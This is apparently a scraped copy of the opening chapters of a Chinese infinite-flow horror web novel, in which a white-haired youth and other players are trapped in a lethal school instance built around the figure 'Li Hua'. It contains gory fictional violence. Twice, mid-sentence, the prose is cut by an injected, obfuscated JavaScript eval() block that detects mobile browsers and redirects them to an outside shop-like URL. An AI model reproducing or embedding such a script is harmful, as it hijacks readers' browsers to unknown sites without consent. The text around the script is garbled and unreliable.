《死亡悖论[无限流]》 1. 李华的世界 死亡悖论[无限]/砚北舟 晋江文学城独发 【——人的一生究竟是怎样的呢？】 【神对世人笑言：“从新生到死亡，再由死魂重组为新魄，逐渐成就一个全新的意识......如此这般，轮回不止，即为——”】 【“——人类永存。”】 /// ——放我出去！ ——这是哪里？!我怎么会在这......明明就只是在公司打了一下盹了啊...... ——呜呜呜......这他妈的......怎么又进来了！！ 有怒吼有茫然有哭啼，有男有女有老有少......种种声音混杂在一起，重叠不休。 如同跌入黑不见底的深渊之中，尽管再怎么用力嘶吼，都得不到一丝的回应。 只剩下无尽的不安。 此时，在所有人都没注意到的墙角边，正趴在课桌上昏睡的青年，眼睫不舒服地颤了颤。 吵。 好吵...... 青年留着一头银白色的中长发，两只手不知是因何原因被黑皮手套包裹着，却依旧看得出来其骨感分明。 也更加的，显出几分色//情。 他抬起头，扶了扶前额的头发，甚是不耐烦地睁开了眼睛。 细长的银丝温顺般垂落于肩头，瞳孔泛着细微诡谲的紫光，眨眼间眸光流转如星河颠覆，藏匿着蛊惑人心的魔力。 视线下垂，写尽厌世。 宛如不可触摸的异域神明。 那绝不是一个正常人该有的样貌。 青年有些恍惚，他抬首望了望四周，一脸困惑——这是一间不大不小的教室。 单看环境，算不上太好。 同大多数学校一样，墙上有着没撕干净的励志贴纸，白绿相间的墙皮脱落个半，木质课桌上刻着卡通画跟艺术字，还戳有几个大小不一的洞...... 当然，最不可少的，就是那些焦虑无措的“学生”们。 但确切地说，这些“学生”更像是早已经历过社会毒打的成年人。 只不过，当下都跟他一样，被套上了蓝白色的秋季校服。 有不少人在抓耳挠腮，惊恐地痛哭嚎叫着，像极了正在因期中末考试而头疼的苦命学生们。 青年眯起眼睛。 他这是......在学校里？ 可是，为什么会出现在这...... 来不及多想，这个世界便已经告诉他究竟发生了什么。 【滋啦......滋啦——】 悲啼连天的教室里，冰冷无情的系统电子音在所有人的耳边几乎同时响起。 时间宛若被按下了暂停键。 青年愣了一下。 因为在他的面前，突然出现了一个浅蓝色的悬空面板： 【你好，人类玩家，欢迎进入「命运之轮」。】 【这是一款充满爱意与刺激的真人无限流游戏。玩家本人需要进入游戏副本世界中，探索、解密、挑战......十一位至高神所设之难题——直至「命运」达到彻底的终结。】 面板变换，出现了几个红色的大字： 【游戏里唯一准则为：】 【通关则生，失败则死。】 青年蹙着眉头。 很快，面板再次变换。 【正在载入中......】 【已更新玩家基本身份信息。】 【姓名：方酌言】 【性别：男】 【年龄：18（昨天刚过完生日呢）】 【编号：？？？（异常登录，暂定为「无编号」玩家）】 【等级：？？？（异常登录，暂定为「无等级」萌新）】 【玩家游戏注册时间：？？？#*%^#@&*!（系统不可检测！乱码处理中......）】 过了小一会儿，系统才重新刷新出面板字幕： 【玩家游戏注册时间：2045年9月1日（很不幸，您初入大学的第一天哎）】 刚才系统貌似只是网卡出了故障。 方酌言不动声色，看着蓝色面板在变动内容。 他心下有疑惑，但又异常的肯定——自己应是进到了某种恐怖的游戏里。 就像是......大家所爱看的无限流小说那样。 方酌言自己也没想到，他本就离奇的一生竟然还会遇到更为离奇的事情。 他处于的这个世界，光怪陆离得很。 异端，也就是某些足以威胁到人类生存的邪恶生物......说是怪物更为准确一些。总之这些非人之物自十八年前入侵了地球，便使得整个世界的规则极为模糊地改变了。 受不明原因影响，人类群体中的小部分人也受到了改变——进化出了异能。 这些异能者秘密行事，调查并处理着那些藏匿在暗处的「异端」。 方酌言就是万千异能者之一。 只是......他有些特殊。 就在今天，是他突破“特殊”，变为正常的一个机遇——进入全球高机密异能者特立院校的重大日子。 在那所名为【德克斯华大学】的院校中，有着最为顶尖的异能者跟最先进的异能知识。 探究如何消除异能给予人类的危害，是他仅存感兴趣的事情之一。 这亦是......他的心结。 方酌言的思绪很快拉回，此时整个学校都响起了系统的电子机械音来： 【副本加载完毕——】 【本次副本：李华的世界】 【隶属至高神：虚无】 【副本背景：这是一个由“英语作文题”自我增殖生成的世界。天空飘浮着被红笔圈出的语法错误，地面是用单词拼成的碎骨骼。每当有人朗读出路面单词，拼写就会蠕动着改正，随即长出新的错误，像真菌一样扩散......于是，「李华」的故事——诞生了。】 【玩家数量：49人】 【副本时间：7天】 【通关方式：走完主线剧情（主线任务待解锁）】 【副本任务进度：0%】 【副本探索度：0%】 【注意！】 【通关则生！失败则死！】 系统发布完任务后，时间的拉条重新启动，这间教室便立马“动”了起来。 “——这他妈什么意思！什么破游戏！什么破副本！我他妈的没工夫跟你们这些人闹！老子美团单子都要跑超时了！” “呜呜呜......怎么毕了业也还是逃不出李华大佬的掌控啊......” “老伴啊，你说这「李华」是谁啊？哪家的孩子......” ......... 方酌言被吵得很是头疼。 他难受地闭上眼睛，深吸一口气，良久又睁开了眼睛。 很快地，他接受了眼前所发生的种种怪事。 毕竟，他这个人本身的存在就已经很奇怪了。 方酌言拳了拳刚才被枕麻了的手指。 旋即，他甚是无聊地数了一下排数以及玩家人数。 教室里有50张木制课桌。 除却讲台右护法与自己旁边的位置还空着，其余座位上都坐满了人。 目前一共48名玩家。 也就是说，还有一名玩家不在教室中。 其中，大概有五名玩家的神色是沉着冷静的。 既然系统说他是“新人玩家”，那么同理就有“老玩家”存在...... 思忖间，突然有人拍了一下他的肩膀： “方大少爷？没想到竟然真的是你！” 方酌言顺着这道声音，往后桌一回头。 发现居然是自己认识的人，某种意义上讲，也算是半个老熟人了。 眼前这个男生女相，半挽着袖子，长着一身腱子肉一看就不好欺负的少年，是SFZY全球异能特控局的十八线外勤特工。 名字叫罗扬，虽然看着像是十七八岁高中生的模样，但实际年龄却是36岁。 在SFZY的工龄，已有十年之久，是实打实的老油条。 方酌言因自身的某些极端原因，自出生起便是SFZY的特别监控对象。 局里的高层们，将他列为了「S+高危险级异能者」，需要每过半年定时去局里体检、测试。 久而久之，便也跟SFZY的人或多或少地熟络了起来。 “罗警官。” 说罢，方酌言静默了一下。 他常年戴着由特殊材料所制成的黑皮手套，其目的是抑制一种极为恐怖的特殊能力，本不该过多接触人。 但出于礼貌，他还是伸出了一只手： “好巧。” 罗扬就坐在方酌言的正后方。 坐在倒数第一排靠墙的位置，而方酌言是倒数第二排。 都是学生们口中的“顶级圣地”。 罗扬轻挑了一下眉，伸出右手回握，嘿嘿了两声：“说来也不巧了。” 方酌言面无表情地对视了罗扬许久。 久到就连向来“社牛话唠”的罗扬，都尴尬地实在憋不住了，“这个，其实吧，那个......”他说话支支吾吾，极为不好意思地挠了挠头，又很是难为情地强挤出一个笑： “不管如何，我还是觉得......有些对不住你。” 方酌言疑惑地“嗯？”了一声，“是怎么了吗。” 罗扬拍掌恳切：“十万分地不好意思！受游戏磁场的原因，少爷你好像......是被我不小心带进副本里的！” 方酌言：“......” 这么一说，他倒是记起来了。 今天原本是他前去SFZY局里做身体检查的日子，但中途颇为不幸地出了一场车祸。 而处理这场车祸的，正是在市区值班的罗扬。 至于后面发生的事......便是一睁眼进到了这个副本里。 甫一，方酌言的视线往下一移，无意扫向了罗扬半露的左手臂。 那上面，纹着一道黑色的条形码。 罗扬感官敏锐，瞬时就察觉到了方酌言的这道视线。 “是在疑惑这个吗？”他用右手指着条形码，语速不快也不慢地解释道：“这是玩家编号所形成的条形码，有了它便能在现实与游戏中往返。每个进入到游戏里的人，都有。” “都有？” 方酌言怔了一下，“那无编号玩家，岂不是没有条形码。” “对。但是......” 罗扬挠了挠头，开始犹豫了起来，可当他想到，现下自己是面对着眼前的这个人时，又很是坚定地比画起来： “像你这类的玩家，说实在的并不在少数，但一般有两种结局。成功通关新人的第一场副本，变为有编号的玩家；亦或是失败......”罗扬的语气越说越小，说到最后都没声了。 方酌言却在一旁冷静接话了：“失败则死。这个刚才系统说了，我也记下了。” 罗扬：“......” 少年，你为何能如此的气定神闲啊喂！ 罗扬咳嗽了两声，用来掩饰自己的内心活动，接着道：“这总之嘛......” 罗扬刚要开口，想去宽慰方酌言几句的，结果却被教室广播的声音给扼住了。 【叮噔——叮噔——】 “同学们，上课时间到了！请迅速回到教室，准备上课！” 不同于现实世界，广播里女孩的声音诡异地嘻嘻了两下：“否则——后果自负！” “重复一遍！后果自负！！！” 随后便是最前面传来的“咔嗒”一声。 所有玩家的注意力都被吸引了过去。 下一秒，教室的前门被人从外头推开了。 方酌言转过头，望向门口。 并没有发生什么不好的事情。 进来的是一个“学生”。 长得不错。生着一张精致建模脸，剑眉醒目，宽肩窄腰，会是网络上女孩们喜欢的撕漫男类型。 但这人气场强大，单是看上一眼，便有种生人勿近的感觉。 就像一朵挺拔的鹤望兰，可若是有人垂涎去触碰，回应的只会是汁液毒素的沾身。 极具危险。 方酌言皱起眉来。 是第49 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159628|196586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位玩家。 然而此刻，这名迟来的玩家，正不急不缓地朝着方酌言那边走去。 旋即，面无表情地坐在方酌言的旁边，几秒后手一撑，脑袋一沉，双臂蒙起头，似是真的睡了过去。 方酌言：“......” 自己好像被漠视了。 不过，也无所谓。 方酌言不是会多管闲事的人。 嗯......也许吧。 他一手撑在桌子上，手掌抵住下颌，平静地观察着这位同桌。 突然，他愣住了。 只见同桌蓦然动了动脑袋，半抬起一只深邃的目光，冷冷地回视。 “不要一直盯着我看。”他语气轻缓，嗓音如泉水般清透：“会很不舒服的。” 方酌言平静“哦”了一声。 头一转。 视线也很快从同桌的身上移开了。 就在这时，前门锁舌再次抽动起来。 可这次，门却没有迅速向内滑开，而是被外面的人给重重踢了一脚。 “砰！”的一声，将一屋子玩家的哭闹音都给震停了。 前门差一点就被踹成木块。 一个丰腴体壮的女人，大跨步式地走了进来。 穿着超大码的粉色碎花裙，皮肤异样的苍白，脸上画着艳红浓妆，烫着一头金色大波浪，耳后挂着讲课专用的扩音器。 是老师。 【已解锁副本NPC识别功能。】 【NPC：魏莎】 【身份介绍：高三15班班主任，英语老师。】 【其他：喜欢听话又有礼貌，以及成绩优秀的孩子（尤其喜欢英语好的）。】 魏莎走到讲台上，脸色甚是不好看地拿起黑板擦，力气很大地朝桌面敲了两下。 她怒火喷张地喝道：“大老远地就听到咱们班在Noise（吵闹）！有什么好吵的！新学期的第一堂课就这么不乐意上吗！” 砰——！ 极其意外的情况出现了。 讲台护法之一的左护法猛地把课桌一掀！ “真他妈的受够了！” 左护法玩家长得凶神恶煞，小半张脸上划着一道细长刀痕，一看就是混在道上的大哥。 他气急地站起身，满脸青筋骤起，暴怒地走到了魏莎面前，恶狠狠伸出一指。 “我他妈的看你是个娘们，就不跟你计较！但不代表我乐意跟你玩这过家家上学的游戏！你他妈的最好赶紧放我出去！” 玩家们的呼吸愕然一窒。 俄顷，只听魏莎轻呵一声，抬起黑板擦，刹那间拍向了左护法的脸： “Died（死吧）！” 紧接着，便是左护法的脑袋连带着小半截脖子——分了家。 咕噜一声。 脑袋重重掉到了地上。 大张着口。 死不瞑目。 完全没反应过来。 同前几排的几位玩家来了个深情地注视。 左护法还没彻底咽气，能明显听到他鼓鼓囊囊说着话。 “我......你们......” 可喉腔断开，并不能听清楚。 很快地，他瞪大着眼珠，满是不可置信以及万分痛苦地停止了呼吸。 彻底死去。 仅是一瞬间，鲜血便悉数喷开。 带着人体细小的血肉组织，蓦然喷到了老旧的黑板上，也溅到了前两排的玩家身上，同时染湿了魏莎的碎花裙。 由浅粉变成血红。 恐怖万分。 当然，也恶心得要死。 【已解锁NPC形态功能。】 【NPC：魏莎（微怒）】 【特殊技能：一切经由她手之物，皆为「进化物」，攻击力翻三倍。】 【「进化物」更新。】 【①不太干净的黑板擦：目前攻击力300（足以将一块50厘米厚的铁块拍到变形）】 一屋子的空气，充斥着浓重的血腥气，堪比屠宰场，使人呼吸困难。 “唔唔唔......” 随之而来，是多数玩家们捂着嘴发出的哭声，还有死死想要抑制住的呕吐感。 声音很小很小，宛若蚊蝇。 魏莎看着倒在地上的脑袋，好像很享受一般，咧着嘴，开心地笑了起来。 转瞬，她半抬起沾了几滴血沫的黑板擦，指着左护法的右侧胸口，用力一点。 无头身体就这般缓缓地，倒在了一小滩血泊当中。 魏莎笑得越来越狰狞，她又将注意力放到了讲台底下，心情很是愉悦地，扫视起正惊恐啼哭的同学们。 “我亲爱的同学们，这只是一个小插曲而已！接下来，老师就要说正事了！都给我竖起耳朵好好听！” 魏莎一改神色，甚是正经地清了清嗓子。 “这个学期，咱们班添丁进口啦！让我们欢迎新同学——” “——李华！” /// 同一时间。 名为「命运」的广场上，闪烁着许许多多的电视屏幕，有大有小，上面无一不播放着各形各色的副本情景。 广场很大，分有十一个板块。 分别由十一位至高神的神称所命名。 玩家们可以自由穿梭在其中，通过屏幕观看、打赏、讨论着各个副本的剧情。 【「虚无」终于开新副本了！而且还是首次下放的校园类型！】 【我神威武！我「虚无」神世间第一强！快让我率先抢个好位置坐下观摩观摩！】 【屁，我神「罪恶」才是最强......】 【我靠我靠刺激啊！开局就是无头杀！】 【别吵别吵！先让我看看，这次都有哪些大佬在新副本里......等等！这怎么还有两个「无编号」玩家？】 【纳尼？？？？？？】 ......... 有人点开了副本简介。 【副本等级：B级】 【首次通关记录：无】 【目前剧情进度：0.05%】 【副本标语：来自「李华」同学亿万分的怒吼！】 2. 李华的世界 ——让我们欢迎新同学，李华！ 目睹完方才所发生的血腥惨案，哪里还会有玩家敢去直面反驳。 无一不强迫着自己抬头望向教室前门。 努力地扯起僵硬到要死的微笑，接二连三地鼓起掌来。 方酌言不想多生事端，便也随波逐流拍掌欢迎。 眼球细微一转，他目光淡然地向左边一瞥。 发现同桌此时竟然还趴在桌子上，似是完全听不到周围的掌声般，睡得很安稳。 ......该说是心真大吗。 方酌言收回了视线。 可他心地善良，不想近距离再见一场血腥剧情。当然......善良的目的很简单，那就是不想自己也被喷一身脓血。 于是，他用手肘轻轻拱了一下同桌。 ......但没拱醒。 他再一次拱了拱，这次使了不小的劲。 终于把对方给拱醒了。 同桌抬起头，一脸懒散样。打了个长长的哈欠，仿佛真的很疲惫般，半抬着眼睛望了望讲台上的魏莎。 又观察了片刻，他也随波逐流地鼓了两下掌，而后脑袋轻微一歪，令人诧异地向方酌言那边靠了靠： “你看见了没，讲台那里好残暴好血腥哦。” 同桌的声音很轻，有些闷闷的，沉沉的，很好听。 但说出口的话却有些招笑。 像是故意逗人笑而说出口的。 方酌言陡然怔住。 忽然地靠近会让他感到不适。 旋即，他礼貌性地往右边墙角细微移了移，远离了这位过分热情的同桌。 可这次，却换成对方怔住了。 同桌长着一张帅气逼人的面孔，有些委屈地说：“是我失礼了......” 方酌言：“......” 他委实接受不了对方的这副低落神情。 甫一，他叹了口气，语气淡淡道：“没事。还是先走剧情吧。” 同桌：“......哦。” 顷刻间，门外的新同学正踱着小碎步，缓慢羞涩地挪进了教室。 掌声随他的步伐渐渐平息了下来。 是典型的三好学生模样。 不算很好看的寸头，黑色方框眼镜，不太聪明但还算协调的五官，背着纯黑色书包，校服拉链拉到最顶...... 少年羞怯怯地垂着头，有一瞥没一撇地窥视面前的同学们。 【已更新主线NPC。】 【NPC：李华】 【身份介绍：高三复读生，你的上一届学长。】 【其他：高考六百分，但志愿全部滑档的顶级偏科学霸。（高考成绩单：语文137分，数学148分，理综287分，外语28分）】 方酌言：“......” 这偏科偏得也太严重了吧。 不光是他，在座的所有玩家以及直播间里的观众，都霎时感到一阵无语。 熟悉副本背景构造的玩家们虽然早已见怪不怪，但在看到那个赤裸裸的「28」分对比时，也还是忍不住嘴角抽搐。 ——要知道，某些设定「虚无」要比「欢愉」还要搞怪！ 【已解锁主线任务功能。】 【主线任务：帮助高三复读生「李华」顺利毕业，并完成他的一生心愿。（待探索）】 【注：主线任务完成，则视为「通关」，反之为「失败」。】 【通关则生！失败则死！】 讲台上，魏莎拿起李华的高考成绩单，脸色红一阵青一阵的。 高兴是因为除外语外，所有科目的成绩都很优秀。 生气是因为除外语外，所有科目的成绩都很优秀。 于是，魏莎川剧变脸般，简单又详细地介绍起了这位复读生。 片刻过后，便将李华安排在了右护法的位置上。 因为目前，全班只有左右护法的宝座还空着。可左护法刚刚经历了铁血似的教育，宝座上正流着英勇者的鲜血...... ——简单点讲，就是不好坐人。 另外，也不知道是不是副本里的Bug。 在如此血腥的场面中，李华竟然像是没看到一样，勾唇浅笑着，扶了扶眼镜，一副乖学生的样子，老实坐好。 待复读生的事情差不多安排好后，魏莎便满是嫌弃地头一扭，不急不慢地打开了电脑PPT： “Everyone，eyes on the board，please。（各位，请看黑板。）” 此时，玩家面板又跳出来了： 【今天是开学第一天。经校方规定，第一节课必须由每个班的班主任，来讲述有关高考的预备事宜。可高三15班的魏老师，却好像独行其道......】 方酌言看完后，抬首望向讲台。 白色幕布上，正投影着七个大字： 英语复习，必修三。 “......” 挺正常的。 在中学时代，体育课会变成室内自习课，音乐美术信息之类的娱乐课程，自然也会变成自习课。 而自习课，则约等于班主任的讲课。 【已解锁支线任务功能。】 【支线任务一（选做）：使这堂课，回归正轨。】 【任务时限：40分钟。】 【任务奖励：副本探索度+5%（相应奖励结算后发放）】 方酌言若有所思。 他在想，【回归正轨】的意思是什么。 ......是说让这堂课，不再以“英语课”的形式进行下去了吗。 另外，就是这个【选做】。 虽然系统说是【选做】，但后面的【任务奖励】上却特意提了一嘴，那个名为【副本探索度】的东西。 很显然，【探索度】极大可能是跟【主线任务】挂钩的。 换言之，它将会是一种线索的获取渠道。 任务发布完成后，玩家面板就自动消散不见了。 方酌言思绪回归，他转了转眸。 发现教室仍然是一片死寂。 但明显能看得出来，有个别玩家在跃跃欲试。 就在这时，方酌言的后背突然感到一丝异样的不适。 是身后的罗扬拿着笔戳了一下他。 在一根针掉下去都能听到声音的教室里，方酌言选择闭嘴不说话，往后桌轻微靠了靠。 甫一，他垂下眼，有些疑惑地望着罗扬正向前探来递给他小纸条的那只手。 见方酌言一时没接，罗扬甚至还很着急地晃了晃。 好在纸张晃动的声音不大，不然两个人都死定了。 方酌言一抬手，很快抽走小纸条。 紧接着，他将小纸条打开，上面写着： 方大少爷你别怕！像这种支线任务，其实很少有人去做的。一接接个不停，还很是麻烦......咱苟苟主线任务过完就行了，一般情况下是不会出事的—— “墙角倒数第二排的那个男同学，你低着头看什么呢！” 魏莎大喊一声，调整了一下扩音器，紧接着十分脸臭地走下讲台，满身怒气。 正奔着方酌言那边走去。 高跟鞋被魏莎踩得咯噔咯噔，与底下玩家们的心跳声配合，打成了紧张要死的节拍。 一时间，空间死寂。 霎时，几乎所有人的视线，都聚到了后排白发青年的身上。 他们惊恐着，害怕再一次目睹血腥惨案，恨不得直接找个地洞钻进去避一避。 可惜，此刻并没有地洞一言。 另外，在玩家们看不到的直播间里，有几条弹幕正悄然划过： 【以我老成的经验，这人包会死的，信我。】 【+1。可是......大家有没有觉得，他长得确实有几分姿色啊。（流口水jpg.）】 【可惜人活不长久喽......】 其余弹幕却在这时顿然一默。 只见副本中，白发青年缓缓站起，在老师严厉的目光下，率先一步，将桌上的课本单手举了起来。 又抬起另一只手，指了一下课本封面上的五个小字： 必修，第二册。 方酌言面无表情地说：“老师，你忘记了吗？咱们班目前还没有复习到必修三。” 魏莎顺着他指的方向去看，瞬间亚麻呆住了。 玩家们也傻傻呆住了。 他们不可置信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159629|196586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，迅速将桌上正躺着的英语课本一捞，眨眨眼，傻眼地看着「英语」底下的几行小字： 必修，第二册。 “......” 我靠，尼马还真是！ 接着，他们望了望黑板投影幕布上正投着的「必修三」。 又将视线移到了班主任魏莎的身上。 有几名玩家甚至嘲讽性地唏嘘起来。 ......是NPC故意犯了蠢，还是副本出的Bug...... NPC魏莎被众人强烈的目光盯得难受，嘴角微微抽动了两下。 “......我知道了，同学。但是——” 她的目光往下一移，盯向了方酌言的手，眉头渐渐拧了起来。 方酌言察觉到了这道视线，预感不妙，想要将手撤回。 结果却被魏莎飞快地，拽住了拿书的那只手。 班主任宛若抓到了什么赃物似的，愤怒道：“学校禁止佩戴手上饰品！” 手肘被捏得很痛，完全不亚于压缩机。 方酌言紧蹙着眉，因疼痛导致生理性流出虚汗。他尝试向后移动挣脱，可又被魏莎攥得更紧了。 如同要生生折断了一般。 危急时刻，玩家面板突然亮了。 【支线任务进度已更新。】 系统的播报声同时在其他玩家的耳边响起了： 【检测到「无编号」玩家已成功接取支线任务。】 【剩余任务时间：36分钟。】 方酌言：“......”竟然误打误撞。 不过，看来只要不让NPC把注意力放在讲课上就行。 尤其是，PPT上的【必修三】内容。 这一点，有些聪明的玩家也想到了。 有人活跃起了气氛，打算尽量拖延一点时间。 “老师，我们现在是要复习必修二的知识啊，还是复习必修三的啊。” “这么早就复习必修三么，可是必修二才到一半......” “老师！练习册的这道题我还不会唉，您能先过来讲讲吗？” “我也是！我也是！” ......... 作为一个老师，最开心的事是什么呢。 白痴答案：愿自己的课堂能积极活跃起来。 于是，魏莎在一众学子们求知若渴的目光下，莞尔一笑。 笑得那叫一个动人。 紧接着，她松开了方酌言的手，气哼着瞪了他一下：“这次就先放过你了，不知好歹的小鬼！” 随后转过身，很是欣慰地，走向第四排问问题的那个女同学。 方酌言这才得以全头全尾地坐下。 他将课本放好，用另一只手揉了揉酸痛的手腕。 神情依旧平静地看向同桌：“谢谢。” 同桌勾起唇，展开手里攥得皱皱巴巴的纸团，将它放到了方酌言的桌洞里。 就在刚刚，是同桌眼疾手快地拿走了那张要命的纸条，又将它藏了起来。 ......唉，总而言之，就是救了方酌言一命。 “不用谢。”同桌轻笑了一声：“毕竟，同学之间互相帮忙，不是应该的嘛。” 方酌言无声地盯着同桌。 他觉得，对方说得很有道理。 刚刚他叫醒了同桌，而这次同桌则帮他处理了纸条。 下一秒，玩家面板又出现了： 【已解锁玩家称号功能。】 【恭喜「无编号」玩家，荣获「Debuff」称号一枚——“喜欢漂亮打扮的不乖孩子”。】 【称号给予者：魏莎。】 方酌言：“......” 什么鬼？ 方酌言眉头一蹙，颇是无语地看着面板一点点消失。 旋即抬起眸，再次看向同桌，盯了一会儿。 说实话，他已经对同桌大大地改观了。 感觉......应该是个能相处得来的人。 “方酌言。我的名字。” 同桌一怔。 却也很快接了话，甚是认真地看着对方，一笑： “楼宿雪。” “江城无宿雪，风物易为春的宿雪。” 3. 李华的世界 这堂课过的，属实是惊心动魄了些。 后面罗扬十分愧疚传小纸条的事情，万分诚恳地合掌乞求方大少爷的原谅。 方大少爷的佛光普照大地，端坐莲台撒下救赎甘霖，再次善心大发，选择原谅愚昧的罪徒罗扬。 os:他其实是不想再被魏莎注意到这边的动静。 在余下的时间里，至少有30分钟成了班主任魏莎的专属讲题课。 甚至有些玩家自告奋勇，主动搭话，说是下课要帮魏老师擦黑板。当真像极了相亲相爱的好师徒。 即便那将会是另一件很恐怖的事情。 其实，这样做都是有原因的。 聪明的玩家会发现，副本跟现实中的某些游戏机制，是有一定相似之处的。 比如，给NPC刷好感度，就可以得到相对应的有益称号。 当然，称号有好也有坏。 「Buff」为增益称号，「Debuff」为负面称号。 「Buff」可以给自身带来某些特别的帮助。 例如第四排最早问问题的那个女生，在魏莎给自己讲完了题后，就荣获了一个「Buff」称号：“勇于挑战难题的新任英语课代表”。 【效果加成：最不可能死在魏莎手中的一个。】 再例如，刚刚搭话说是要拖地的男玩家。 【荣获「Buff」称号：“原来坏孩子也会变干净”。】 【效果加成：三次躲避「英语课致命题」的机会。】 ......就是不知道，这个「英语课致命题」会是个什么东西了。 至于「Debuff」之类的称号嘛...... 方酌言占其一，但也是目前的唯一。 【效果加成：魏莎的首要针对对象。（直到彻底死去，此效果才会消散）】 方酌言垂下眼，深思般摸起了下巴。 他有一个很坏的想法——要是NPC先死了呢。 倘若是魏老师先死掉，那么“针对”一言，不就成立不起来了嘛。 当然，想要NPC 死，可不是什么很简单的事情。 尚不知自己已经被假设成死人的魏莎老师，低头看了一下腕上的手表。 她不耐地皱起眉来。 ......时间过得好快。 还剩两分钟就要下课了。 魏莎神情凝重，打断正要开口问问题的学生。 紧接着，她回到讲台，在四十多名玩家提心吊胆的目光下，换了个PPT文件： 开学之高考预备事宜。 “......” 合着您老儿还记得这个啊。 魏莎调好PPT后，拿出手机，扫视了一圈。 “最后一排靠墙角的那个同学，”魏莎招了招手，“你帮老师个忙。站后面拍个照就行。” 被突然点名的罗扬，有些不知所措地指了指自己，“我......我吗？” 魏莎：“对对，就你。麻利的，快过来拿手机，老师还要发主任群里呢。” 罗扬强颜欢笑，笑得堪比死尸咧嘴鬼。 呵呵，他差点没当场哭出来。 很快，罗扬苦命地举好手机，后背紧紧贴着教室的后墙，对准讲台上魏莎摆好的“讲课”好老师Pose。 嘴角很是难看地微微一抽，翻了个不明显的白眼，又无声呵呵了两声，紧接着按下手机的快门键。 咔嚓！ 叮咚——叮咚—— 是降调式的下课铃声。 “同学们，下课时间到了，老师你们辛苦了。” 几乎同一时间。 整个教室......不，确切地说，是整个世界——都宛如快门键按下的那一瞬，突然黑了一下。 刹那过后，世界又明媚地亮了起来。 方酌言被强烈的光照着，他难受地揉了下眼。 很快地，他感受到外界刮起了一阵刺骨的冷风，其中夹杂着一丝丝不可察觉的血腥气。 方酌言预感不妙，立马睁开眼睛。 视线一聚焦。 心里咯噔一声。 他跟其他四十多名玩家一样，陡然怔住了。 此时，直播间发出的弹幕疯狂往下滑动： 【靠靠靠！发生什么事了？！】 【这他妈给我干哪来了？这还是咱们虚无本吗？】 【刚刚是闪屏了吗，我刚做的钛合金狗狗眼都快要被闪瞎了呢！】 【真他娘的刺激！】 ......... 地方换了。 很惊奇的是，这里不再是教室。 而是操场。 主席台上的电子横屏上，写着几个红色的大字： 三山中学18级百日誓师。 所有变故都发生在这闪电间—— 除了玩家们组成的15班，操场上其他三十多个班的学生跟老师，都没有脸。 没有眼睛，没有鼻子，没有嘴巴，甚至没有耳朵，也没有头发...... 那挂在脖子上的，仅仅是个会蠕动的肉球。 特别特别特别的瘆人。 甚至能诡异地感受到，一操场的肉球像是狼看羊一样戏谑地盯着他们。 口水都要淌成长江了。 “啊——！这是什么怪物？！恶心死了！” 身后有一个四眼仔高吼着，差点没把方酌言的耳膜给震裂。 不用他们去猜，系统便给出了答案。 【已解锁异端（怪物识别功能）】 【异端名称：无脸人】 【等级：E级（攻击力较弱）】 【其他介绍：学生穿校服，老师穿便衣。五感很弱，长相圆滑，较为可爱。】 【攻击方式：？？？（未知，待玩家解锁）】 【弱点：？？？（未知，待玩家解锁）】 这一幕过后，弹幕直接沸腾起来： 【虚无神的口味依旧呕......太难评了。】 【这才是真正强者的审美啊！我神「虚无」！我神威武！】 【拜托虚无的私生狗腿子马上滚，看着就跟你神的审美一样，犯！恶！心！】 【......不行了，我要看点神颜来养养眼缓缓胃。话说我那白发美人呢......】 弹幕中所说的美人此时正蹙着眉，观察着小半圈操场。 方酌言发现了一件事。 罗扬并不在这。 还有李华跟魏莎...... ——在场，少了一个玩家跟两个NPC。 他细细回忆了一番。 根据他们进入操场的前一秒情景，唯一的变量在于那声快门声......也就是说，他们此时进到了一个新的副本场景。 很像是寂静岭故事里的......里世界设定。 方酌言调出来玩家面板。 特意去找【支线任务】。 上面写着：【剩余任务时间：1秒（暂时停止）。】 那也就是说，现在他们所处的位置，极有可能是另一处新的空间。 ......会是类似于，里世界跟表世界的那种关系么。 “啊——！救命啊！” 忽然，有个女玩家大叫了一声。 方酌言顺着叫声去看她。 是被魏莎给予“新任英语课代表”称号的玩家。 此刻，课代表一脸惊恐地站了起来，颤抖着手，指向了她旁边的一个无脸学生。 “它！它！它刚刚在摸我大腿！” 操场上，一个班挨着另一个班，每班都是男女各一列，皆是竖排坐好。 而课代表指着的那个无脸学生，是14班的男生。 课代表的这一嗓子，算是彻底把全操场上的无脸人给喊醒了。 15班的玩家们，霎时成了它们的焦点。 那种感觉很奇怪。 明明没有眼睛，没有嘴巴...... 可方酌言依旧能感觉得出来，它们扭头在冷冷地注视着他们，在诡异地咧开嘴大笑。 煞为阴森。 【支线任务已更新。】 【任务二：从操场上的1659个无脸人里，找出28名复读生。】 【任务时限：60分钟。】 【任务奖励：回到15班教室。（注：若完不成，则同化为无脸人，永远留在操场。）】 有玩家崩溃喝问：“同化？！开什么玩笑！那不就是间接地去死吗！” “还有......这任务二本身就是个大坑啊！一千多个人里找二十来个......大海捞针嘛这不是！” “各位先等等！系统又来消息了......” 【支线任务二提示。】 【1.复读生有五官，但只有特定的人能看到。】 【2.复读生只有28名。名额有限。】 【3.无脸人会攻击有脸的人。一旦被攻击次数达到10，就会同化。】 【4.只有操场是活动区域，不 